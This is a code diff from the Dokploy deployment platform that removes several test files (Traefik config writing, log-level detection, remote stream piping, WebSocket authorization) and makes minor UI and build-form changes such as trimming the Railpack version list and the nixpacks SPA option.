@@ -35,7 +35,6 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
-	enabled: true,
 };
 
 describe("forwardAuthMiddlewareName", () => {

apps/dokploy/__test__/traefik/reconnect-services.test.ts

@@ -1,71 +0,0 @@
-import { reconnectServicesToTraefik } from "@dokploy/server/services/settings";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mocks = vi.hoisted(() => ({
-	findMany: vi.fn(),
-	execAsync: vi.fn(),
-	execAsyncRemote: vi.fn(),
-}));
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			compose: {
-				findMany: mocks.findMany,
-			},
-		},
-	},
-}));
-
-vi.mock("@dokploy/server/utils/process/execAsync", () => ({
-	execAsync: mocks.execAsync,
-	execAsyncRemote: mocks.execAsyncRemote,
-}));
-
-describe("reconnectServicesToTraefik", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mocks.findMany.mockResolvedValue([]);
-	});
-
-	it("does not execute an empty local command when no isolated deployments exist", async () => {
-		await reconnectServicesToTraefik();
-
-		expect(mocks.execAsync).not.toHaveBeenCalled();
-	});
-
-	it("does not execute an empty remote command when no isolated deployments exist", async () => {
-		await reconnectServicesToTraefik("server-id");
-
-		expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
-	});
-
-	it("reconnects isolated deployments to the local Traefik network", async () => {
-		mocks.findMany.mockResolvedValue([
-			{ appName: "first-compose" },
-			{ appName: "second-compose" },
-		]);
-
-		await reconnectServicesToTraefik();
-
-		expect(mocks.execAsync).toHaveBeenCalledOnce();
-		expect(mocks.execAsync).toHaveBeenCalledWith(
-			'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' +
-				'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
-		);
-		expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
-	});
-
-	it("reconnects isolated deployments on a remote server", async () => {
-		mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]);
-
-		await reconnectServicesToTraefik("server-id");
-
-		expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
-		expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
-			"server-id",
-			'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
-		);
-		expect(mocks.execAsync).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/__test__/traefik/server/update-server-config.test.ts

@@ -60,7 +60,7 @@ const baseSettings: WebServerSettings = {
 		docsUrl: null,
 		errorPageTitle: null,
 		errorPageDescription: null,
-		ogImageUrl: null,
+		metaTitle: null,
 		footerText: null,
 	},
 	cleanupCacheApplications: false,

apps/dokploy/__test__/traefik/traefik.test.ts

@@ -7,8 +7,6 @@ const baseApp: ApplicationNested = {
 	rollbackActive: false,
 	applicationId: "",
 	previewLabels: [],
-	networkIds: [],
-	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",
@@ -151,7 +149,6 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
-	enabled: true,
 };
 
 const baseRedirect: Redirect = {

apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts

@@ -1,121 +0,0 @@
-import fs from "node:fs";
-import os from "node:os";
-import path from "node:path";
-import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application";
-import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-
-const mocks = vi.hoisted(() => ({
-	execAsyncRemote: vi.fn(),
-	writeFileRemote: vi.fn(),
-}));
-
-vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
-	const actual =
-		await importOriginal<
-			typeof import("@dokploy/server/utils/process/execAsync")
-		>();
-	return {
-		...actual,
-		execAsyncRemote: mocks.execAsyncRemote,
-		writeFileRemote: mocks.writeFileRemote,
-	};
-});
-
-describe("writeAppTraefikConfig", () => {
-	let cwd: string;
-	let dynamicPath: string;
-
-	beforeEach(() => {
-		cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-"));
-		dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic");
-		fs.mkdirSync(dynamicPath, { recursive: true });
-		vi.spyOn(process, "cwd").mockReturnValue(cwd);
-		vi.clearAllMocks();
-	});
-
-	afterEach(() => {
-		vi.restoreAllMocks();
-		fs.rmSync(cwd, { recursive: true, force: true });
-	});
-
-	// Regression test for #5189: Traefik's file provider rejects a standalone
-	// `routers: {}` / `services: {}` map and aborts its watcher for every
-	// dynamic config once it hits one, so an app with no domains must never
-	// get an on-disk config file at all.
-	it("removes the file instead of writing empty routers/services", async () => {
-		const appName = "no-domain-app";
-		const configPath = path.join(dynamicPath, `${appName}.yml`);
-		fs.writeFileSync(configPath, "stale content", "utf8");
-
-		await writeAppTraefikConfig(
-			{ http: { routers: {}, services: {} } },
-			appName,
-		);
-
-		expect(fs.existsSync(configPath)).toBe(false);
-	});
-
-	it("writes the file when routers/services are present", async () => {
-		const appName = "with-domain-app";
-		const configPath = path.join(dynamicPath, `${appName}.yml`);
-
-		await writeAppTraefikConfig(
-			{
-				http: {
-					routers: {
-						[`${appName}-router-1`]: {
-							rule: "Host(`x`)",
-							service: `${appName}-service`,
-						},
-					},
-					services: {},
-				},
-			},
-			appName,
-		);
-
-		expect(fs.existsSync(configPath)).toBe(true);
-	});
-
-	it("removes the remote file instead of writing empty routers/services", async () => {
-		mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
-
-		await writeAppTraefikConfig(
-			{ http: { routers: {}, services: {} } },
-			"no-domain-app",
-			"server-id",
-		);
-
-		expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
-		const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
-		expect(command).toMatch(/^rm -f /);
-		expect(command).toContain("no-domain-app.yml");
-	});
-
-	it("writes the remote file when routers/services are present", async () => {
-		mocks.writeFileRemote.mockResolvedValue(undefined);
-
-		await writeAppTraefikConfig(
-			{
-				http: {
-					routers: {
-						"with-domain-app-router-1": {
-							rule: "Host(`x`)",
-							service: "with-domain-app-service",
-						},
-					},
-					services: {},
-				},
-			},
-			"with-domain-app",
-			"server-id",
-		);
-
-		expect(mocks.writeFileRemote).toHaveBeenCalledOnce();
-		const [serverId, remotePath, content] =
-			mocks.writeFileRemote.mock.calls[0] ?? [];
-		expect(serverId).toBe("server-id");
-		expect(remotePath).toContain("with-domain-app.yml");
-		expect(content).toContain("with-domain-app-router-1");
-	});
-});

apps/dokploy/__test__/utils/hostname-validation.test.ts

@@ -9,9 +9,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"a.b.c.example.co",
 		"xn--80ak6aa92e.com",
 		"123.example.com",
-		"example",
-		"dokploy-server",
-		"localhost",
 	])("accepts valid hostname %s", (host) => {
 		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
 	});
@@ -20,6 +17,7 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"bbn_client.example.com",
 		"-example.com",
 		"example-.com",
+		"example",
 		"exa mple.com",
 		"example..com",
 		"",

apps/dokploy/__test__/utils/log-type.test.ts

@@ -1,108 +0,0 @@
-import { describe, expect, test } from "vitest";
-import { getLogType } from "@/components/dashboard/docker/logs/utils";
-
-describe("getLogType", () => {
-	describe("explicit level declared by structured loggers", () => {
-		test("JSON string levels (pino, winston, zap)", () => {
-			expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
-		});
-
-		test("JSON numeric levels (pino, bunyan)", () => {
-			expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
-		});
-
-		test("syslog/GELF numeric levels", () => {
-			expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
-		});
-
-		test("GCP-style severity and ECS log.level", () => {
-			expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
-				"error",
-			);
-			expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
-				"warning",
-			);
-			expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
-				"error",
-			);
-		});
-
-		test("logfmt levels", () => {
-			expect(
-				getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
-			).toBe("error");
-			expect(
-				getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
-			).toBe("info");
-			expect(getLogType("level=warn msg=careful").type).toBe("warning");
-		});
-
-		test("declared level wins over keywords in the message (#4589, #1996)", () => {
-			// "version"/"GET" in this pino line would otherwise match the debug keywords
-			const pinoError =
-				'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
-			expect(getLogType(pinoError).type).toBe("error");
-
-			// info line containing error-like keywords (#4589)
-			expect(
-				getLogType(
-					'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
-				).type,
-			).toBe("info");
-
-			// successful job summary with "failed: false, error: none" (#4538)
-			expect(
-				getLogType(
-					'level=info msg="Finished job, failed: false, skipped: false, error: none"',
-				).type,
-			).toBe("info");
-		});
-
-		test("declared level wins over statusCode", () => {
-			expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
-		});
-
-		test("unknown level names fall back to keyword detection", () => {
-			expect(
-				getLogType('{"level":"verbose","msg":"connection failed"}').type,
-			).toBe("error");
-		});
-
-		test("env-var-like text is not treated as logfmt level", () => {
-			expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
-				"error",
-			);
-		});
-	});
-
-	describe("fallback detection for unstructured logs (unchanged)", () => {
-		test("statusCode classification", () => {
-			expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
-		});
-
-		test("keyword classification", () => {
-			expect(getLogType("error: something broke").type).toBe("error");
-			expect(getLogType("warning: disk almost full").type).toBe("warning");
-			expect(getLogType("Server listening on port 8080").type).toBe("success");
-		});
-
-		test("defaults to info", () => {
-			expect(getLogType("hello world").type).toBe("info");
-		});
-	});
-});

apps/dokploy/__test__/utils/remote-stream.test.ts

@@ -1,60 +0,0 @@
-import { promises as fs } from "node:fs";
-import os from "node:os";
-import path from "node:path";
-import { describe, expect, it, vi } from "vitest";
-
-vi.mock("@dokploy/server/services/server", () => ({
-	findServerById: vi.fn(),
-}));
-
-import { pipeBetweenServers } from "@dokploy/server/utils/process/remoteStream";
-
-describe("pipeBetweenServers", () => {
-	it("delivers a short source stream that ends before the target is ready", async () => {
-		const bytes = await pipeBetweenServers({
-			source: { serverId: null, command: "printf 'hello world'" },
-			target: { serverId: null, command: "sleep 0.3; cat > /dev/null" },
-		});
-		expect(bytes).toBe(11);
-	});
-
-	it("pipes data larger than the pipe buffer unchanged", async () => {
-		const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-"));
-		const source = path.join(dir, "src.bin");
-		const target = path.join(dir, "dst.bin");
-		const size = 1024 * 1024;
-		const progress: number[] = [];
-
-		const bytes = await pipeBetweenServers({
-			source: {
-				serverId: null,
-				command: `head -c ${size} /dev/urandom | tee '${source}'`,
-			},
-			target: { serverId: null, command: `cat > '${target}'` },
-			onProgress: (transferred) => progress.push(transferred),
-		});
-
-		expect(bytes).toBe(size);
-		expect(progress.at(-1)).toBe(size);
-		expect(await fs.readFile(target)).toEqual(await fs.readFile(source));
-		await fs.rm(dir, { recursive: true, force: true });
-	}, 30_000);
-
-	it("reports a target failure with its stderr", async () => {
-		await expect(
-			pipeBetweenServers({
-				source: { serverId: null, command: "printf x" },
-				target: { serverId: null, command: "echo boom >&2; exit 3" },
-			}),
-		).rejects.toThrow("target exited with code 3: boom");
-	});
-
-	it("reports a source failure", async () => {
-		await expect(
-			pipeBetweenServers({
-				source: { serverId: null, command: "exit 2" },
-				target: { serverId: null, command: "cat > /dev/null" },
-			}),
-		).rejects.toThrow("source exited with code 2");
-	});
-});

apps/dokploy/__test__/wss/authorize.test.ts

@@ -1,129 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the permission + server helpers the wss authorizer composes.
-const mockHasPermission = vi.hoisted(() => vi.fn());
-const mockFindMember = vi.hoisted(() => vi.fn());
-const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/permission", () => ({
-	hasPermission: mockHasPermission,
-	findMemberByUserId: mockFindMember,
-	checkServiceAccess: mockCheckServiceAccess,
-}));
-
-const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server", () => ({
-	getAccessibleServerIds: mockGetAccessibleServerIds,
-}));
-
-import {
-	canAccessDockerOverWss,
-	canAccessTerminalOverWss,
-} from "@/server/wss/authorize";
-
-const USER = { id: "user-1" };
-const SESSION = { activeOrganizationId: "org-1" };
-
-beforeEach(() => {
-	vi.clearAllMocks();
-});
-
-describe("canAccessDockerOverWss", () => {
-	it("denies when there is no user or session", async () => {
-		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
-		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
-	});
-
-	it("denies a member without docker permission", async () => {
-		mockHasPermission.mockResolvedValue(false);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
-	});
-
-	it("allows when the caller has docker permission (no server)", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
-	});
-
-	it("denies a remote server the caller cannot access, even with docker permission", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
-	});
-
-	it("allows a remote server the caller can access", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
-	});
-
-	it("denies when the container belongs to a service the caller cannot access", async () => {
-		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
-		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
-			false,
-		);
-	});
-
-	it("allows service access even without docker permission or server access", async () => {
-		// A member granted the service but without canAccessToDocker, whose
-		// service runs on a server they were not individually granted, must still
-		// read its logs — matches application.readLogs (service access only).
-		mockHasPermission.mockResolvedValue(false);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set());
-		mockCheckServiceAccess.mockResolvedValue(undefined);
-		expect(
-			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
-		).toBe(true);
-		// Service path is authoritative — it must not fall through to docker/server.
-		expect(mockHasPermission).not.toHaveBeenCalled();
-		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
-	});
-});
-
-describe("canAccessTerminalOverWss", () => {
-	it("denies the local host terminal to a plain member", async () => {
-		mockFindMember.mockResolvedValue({ role: "member" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
-	});
-
-	it("allows the local host terminal to an owner", async () => {
-		mockFindMember.mockResolvedValue({ role: "owner" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("allows the local host terminal to an admin", async () => {
-		mockFindMember.mockResolvedValue({ role: "admin" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("gates a remote server terminal on server access", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
-		// the remote path must never fall through to the owner/admin local branch
-		expect(mockFindMember).not.toHaveBeenCalled();
-	});
-
-	it("denies a remote server terminal without the server.terminal permission", async () => {
-		// Reaching a server (to deploy on it) must not imply a root shell on it.
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		mockHasPermission.mockResolvedValue(false);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false);
-		expect(mockHasPermission).toHaveBeenCalledWith(
-			{ user: { id: USER.id }, session: { activeOrganizationId: "org-1" } },
-			{ server: ["terminal"] },
-		);
-	});
-
-	it("allows a remote server terminal with the server.terminal permission", async () => {
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		mockHasPermission.mockResolvedValue(true);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
-	});
-
-	it("does not check permissions for a server the caller cannot access", async () => {
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		mockHasPermission.mockResolvedValue(true);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
-		expect(mockHasPermission).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/__test__/wss/readValidDirectory.test.ts

@@ -94,32 +94,4 @@ describe("readValidDirectory (path traversal)", () => {
 			),
 		).toBe(true);
 	});
-
-	it("returns true for SvelteKit routes with + prefix and @ symbols", () => {
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/src/routes/+page.svelte`,
-			),
-		).toBe(true);
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/src/routes/+layout.svelte`,
-			),
-		).toBe(true);
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/src/routes/+server.ts`,
-			),
-		).toBe(true);
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/src/routes/+error.svelte`,
-			),
-		).toBe(true);
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`,
-			),
-		).toBe(true);
-	});
 });

apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx

@@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
 												To use a cluster feature, you need to configure at least
 												a registry first. Please, go to{" "}
 												<Link
-													href="/dashboard/docker?tab=swarm&subtab=nodes"
+													href="/dashboard/settings/cluster"
 													className="text-foreground"
 												>
 													Settings

apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/index.ts

@@ -8,3 +8,4 @@ export { RestartPolicyForm } from "./restart-policy-form";
 export { RollbackConfigForm } from "./rollback-config-form";
 export { StopGracePeriodForm } from "./stop-grace-period-form";
 export { UpdateConfigForm } from "./update-config-form";
+export { filterEmptyValues, hasValues } from "./utils";

apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/utils.ts

@@ -0,0 +1,31 @@
+/**
+ * Filters out undefined, null, and empty string values from form data
+ * Only returns fields that have actual values
+ */
+export const filterEmptyValues = (
+	formData: Record<string, any>,
+): Record<string, any> => {
+	return Object.entries(formData).reduce(
+		(acc, [key, value]) => {
+			// Keep arrays even if empty (they might be intentionally cleared)
+			if (Array.isArray(value)) {
+				if (value.length > 0) {
+					acc[key] = value;
+				}
+			}
+			// For other values, filter out undefined, null, and empty strings
+			else if (value !== undefined && value !== null && value !== "") {
+				acc[key] = value;
+			}
+			return acc;
+		},
+		{} as Record<string, any>,
+	);
+};
+
+/**
+ * Checks if filtered data has any values to save
+ */
+export const hasValues = (data: Record<string, any>): boolean => {
+	return Object.keys(data).length > 0;
+};

apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx

@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
 								</Button>
 							</div>
 							<Dialog open={showModal} onOpenChange={setShowModal}>
-								<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
+								<DialogContent className="max-w-[50vw]">
 									<DialogHeader>
 										<DialogTitle className="text-2xl font-bold">
 											Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
 										</DialogDescription>
 									</DialogHeader>
 
-									<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
+									<div className="flex flex-col gap-6">
 										<div className="space-y-4">
 											<div className="flex items-center gap-2">
 												<Code2 className="h-5 w-5 text-primary" />
@@ -207,14 +207,12 @@ export const ShowImport = ({ composeId }: Props) => {
 													Docker Compose
 												</h3>
 											</div>
-											<div className="max-h-[45vh] overflow-auto rounded-md border">
+											<CodeEditor
-												<CodeEditor
+												language="yaml"
-													language="yaml"
+												value={templateInfo?.compose || ""}
-													value={templateInfo?.compose || ""}
+												className="font-mono"
-													className="font-mono"
+												readOnly
-													readOnly
+											/>
-												/>
-											</div>
 										</div>
 
 										<Separator />

apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx

@@ -234,7 +234,7 @@ export const HandleRedirect = ({
 									<FormItem>
 										<FormLabel>Replacement</FormLabel>
 										<FormControl>
-											<Input placeholder="http://mydomain/$1" {...field} />
+											<Input placeholder="http://mydomain/$${1}" {...field} />
 										</FormControl>
 
 										<FormMessage />

apps/dokploy/components/dashboard/application/build/show.tsx

@@ -31,45 +31,6 @@ import { api } from "@/utils/api";
 
 // Railpack versions from https://github.com/railwayapp/railpack/releases
 export const RAILPACK_VERSIONS = [
-	"0.39.0",
-	"0.38.0",
-	"0.37.1",
-	"0.37.0",
-	"0.36.4",
-	"0.36.3",
-	"0.36.2",
-	"0.36.1",
-	"0.36.0",
-	"0.35.0",
-	"0.34.0",
-	"0.33.0",
-	"0.32.0",
-	"0.31.2",
-	"0.31.1",
-	"0.31.0",
-	"0.30.1",
-	"0.30.0",
-	"0.29.0",
-	"0.28.0",
-	"0.27.2",
-	"0.27.1",
-	"0.27.0",
-	"0.26.1",
-	"0.26.0",
-	"0.25.0",
-	"0.24.0",
-	"0.23.0",
-	"0.22.2",
-	"0.22.1",
-	"0.22.0",
-	"0.21.0",
-	"0.20.0",
-	"0.19.0",
-	"0.18.0",
-	"0.17.2",
-	"0.17.1",
-	"0.17.0",
-	"0.16.0",
 	"0.15.4",
 	"0.15.3",
 	"0.15.2",
@@ -84,22 +45,12 @@ export const RAILPACK_VERSIONS = [
 	"0.9.1",
 	"0.9.0",
 	"0.8.0",
-	"0.7.2",
-	"0.7.1",
 	"0.7.0",
-	"0.6.1",
 	"0.6.0",
-	"0.5.1",
 	"0.5.0",
 	"0.4.0",
 	"0.3.0",
-	"0.2.3",
 	"0.2.2",
-	"0.2.1",
-	"0.2.0",
-	"0.1.2",
-	"0.1.1",
-	"0.1.0",
 ] as const;
 
 export enum BuildType {
@@ -137,7 +88,6 @@ const mySchema = z.discriminatedUnion("buildType", [
 	z.object({
 		buildType: z.literal(BuildType.nixpacks),
 		publishDirectory: z.string().optional(),
-		isStaticSpa: z.boolean().default(false),
 	}),
 	z.object({
 		buildType: z.literal(BuildType.railpack),
@@ -188,7 +138,6 @@ const resetData = (data: ApplicationData): AddTemplate => {
 			return {
 				buildType: BuildType.nixpacks,
 				publishDirectory: data.publishDirectory || undefined,
-				isStaticSpa: data.isStaticSpa ?? false,
 			};
 		case BuildType.paketo_buildpacks:
 			return {
@@ -230,7 +179,6 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 
 	const buildType = form.watch("buildType");
 	const railpackVersion = form.watch("railpackVersion");
-	const publishDirectory = form.watch("publishDirectory");
 	const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
 
 	useEffect(() => {
@@ -276,10 +224,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 					? data.herokuVersion
 					: null,
 			isStaticSpa:
-				data.buildType === BuildType.static ||
+				data.buildType === BuildType.static ? data.isStaticSpa : null,
-				data.buildType === BuildType.nixpacks
-					? data.isStaticSpa
-					: null,
 			railpackVersion:
 				data.buildType === BuildType.railpack
 					? data.railpackVersion || "0.15.4"
@@ -474,30 +419,6 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 								)}
 							/>
 						)}
-						{buildType === BuildType.nixpacks && publishDirectory && (
-							<FormField
-								control={form.control}
-								name="isStaticSpa"
-								render={({ field }) => (
-									<FormItem>
-										<FormControl>
-											<div className="flex items-center gap-x-2 p-2">
-												<Checkbox
-													id="checkboxIsStaticSpaNixpacks"
-													value={String(field.value)}
-													checked={field.value}
-													onCheckedChange={field.onChange}
-												/>
-												<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
-													Single Page Application (SPA)
-												</FormLabel>
-											</div>
-										</FormControl>
-										<FormMessage />
-									</FormItem>
-								)}
-							/>
-						)}
 						{buildType === BuildType.static && (
 							<FormField
 								control={form.control}

apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx

@@ -148,7 +148,7 @@ export const ShowDeployment = ({
 					<DialogDescription className="flex items-center gap-2">
 						<span className="flex items-center gap-2">
 							See all the details of this deployment |{" "}
-							<Badge variant="blank" className="text-xs tabular-nums">
+							<Badge variant="blank" className="text-xs">
 								{filteredLogs.length} lines
 							</Badge>
 						</span>

apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx

@@ -63,9 +63,6 @@ export const ShowDeployments = ({
 	const [activeLog, setActiveLog] = useState<
 		RouterOutputs["deployment"]["all"][number] | null
 	>(null);
-	const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
-		Set<string>
-	>(new Set());
 	const { data: deployments, isPending: isLoadingDeployments } =
 		api.deployment.allByType.useQuery(
 			{
@@ -84,7 +81,7 @@ export const ShowDeployments = ({
 		api.rollback.rollback.useMutation();
 	const { mutateAsync: killProcess, isPending: isKillingProcess } =
 		api.deployment.killProcess.useMutation();
-	const { mutateAsync: removeDeployment } =
+	const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
 		api.deployment.removeDeployment.useMutation();
 
 	// Cancel deployment mutations
@@ -342,7 +339,7 @@ export const ShowDeployments = ({
 											)}
 											{/* Hash (from description) - shown in compact form */}
 											{deployment.description?.trim() && (
-												<span className="wrap-anywhere text-xs text-muted-foreground font-mono">
+												<span className="text-xs text-muted-foreground font-mono">
 													{deployment.description}
 												</span>
 											)}
@@ -411,11 +408,6 @@ export const ShowDeployments = ({
 													description="Are you sure you want to delete this deployment? This action cannot be undone."
 													type="default"
 													onClick={async () => {
-														setRemovingDeploymentIds((deploymentIds) => {
-															const nextDeploymentIds = new Set(deploymentIds);
-															nextDeploymentIds.add(deployment.deploymentId);
-															return nextDeploymentIds;
-														});
 														try {
 															await removeDeployment({
 																deploymentId: deployment.deploymentId,
@@ -423,25 +415,13 @@ export const ShowDeployments = ({
 															toast.success("Deployment deleted successfully");
 														} catch (error) {
 															toast.error("Error deleting deployment");
-														} finally {
-															setRemovingDeploymentIds((deploymentIds) => {
-																const nextDeploymentIds = new Set(
-																	deploymentIds,
-																);
-																nextDeploymentIds.delete(
-																	deployment.deploymentId,
-																);
-																return nextDeploymentIds;
-															});
 														}
 													}}
 												>
 													<Button
 														variant="destructive"
 														size="sm"
-														isLoading={removingDeploymentIds.has(
+														isLoading={isRemovingDeployment}
-															deployment.deploymentId,
-														)}
 													>
 														Delete
 														<Trash2 className="size-4" />